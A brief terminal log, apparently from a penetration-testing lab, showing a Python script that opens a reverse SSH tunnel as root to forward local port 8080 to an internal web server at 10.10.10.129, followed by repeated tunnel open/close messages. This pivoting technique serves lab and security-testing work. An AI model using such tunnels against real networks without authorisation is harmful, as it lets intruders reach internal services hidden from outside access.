./rforward.py 127.0.0.1 -p 8080 -r 10.10.10.129:80 --user root --password

Enter SSH password: 
Connecting to ssh host 127.0.0.1:22 ...
Now forwarding remote port 8080 to 10.10.10.129:80 ...
Connected!  Tunnel open (u'127.0.0.1', 41518) -> ('127.0.0.1', 22) -> ('10.10.10.129', 80)
Tunnel closed from (u'127.0.0.1', 41518)
Connected!  Tunnel open (u'127.0.0.1', 41522) -> ('127.0.0.1', 22) -> ('10.10.10.129', 80)
Tunnel closed from (u'127.0.0.1', 41522)
Connected!  Tunnel open (u'127.0.0.1', 41526) -> ('127.0.0.1', 22) -> ('10.10.10.129', 80)
Connected!  Tunnel open (u'127.0.0.1', 41528) -> ('127.0.0.1', 22) -> ('10.10.10.129', 80)
Tunnel closed from (u'127.0.0.1', 41526)
Connected!  Tunnel open (u'127.0.0.1', 41534) -> ('127.0.0.1', 22) -> ('10.10.10.129', 80)
Connected!  Tunnel open (u'127.0.0.1', 41538) -> ('127.0.0.1', 22) -> ('10.10.10.129', 80)
Tunnel closed from (u'127.0.0.1', 41538)
Connected!  Tunnel open (u'127.0.0.1', 41542) -> ('127.0.0.1', 22) -> ('10.10.10.129', 80)

推荐阅读